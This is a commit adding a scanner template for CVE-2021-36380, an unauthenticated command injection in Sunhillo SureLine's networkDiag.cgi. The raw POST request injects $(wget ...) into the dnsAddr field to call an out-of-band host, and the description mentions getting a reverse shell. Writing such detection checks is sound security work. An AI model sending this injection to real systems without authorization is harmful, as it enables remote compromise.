Merge pull request #2279 from gy741/rule-add-v45

Create CVE-2021-36380.yaml
patch-1
Sandeep Singh 2021-08-02 01:36:56 +05:30 committed by GitHub
commit d416aea142
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 24 additions and 0 deletions

View File

@ -0,0 +1,24 @@
id: CVE-2021-36380
info:
name: Sunhillo SureLine - Unauthenticated OS Command Injection
description: The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request injects a new command that instructs the server to establish a reverse TCP connection to another system, allowing the establishment of an interactive remote shell session.
author: gy741
severity: critical
reference: |
- https://research.nccgroup.com/2021/07/26/technical-advisory-sunhillo-sureline-unauthenticated-os-command-injection-cve-2021-36380/
tags: cve,cve2021,sureline,rce,oob
requests:
- raw:
- |
POST /cgi/networkDiag.cgi HTTP/1.1
Host: {{Hostname}}
command=2&ipAddr=&dnsAddr=$(wget+http://{{interactsh-url}})&interface=0&netType=0&scrFilter=&dstFilter=&fileSave=false&pcapSave=false&fileSize=
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"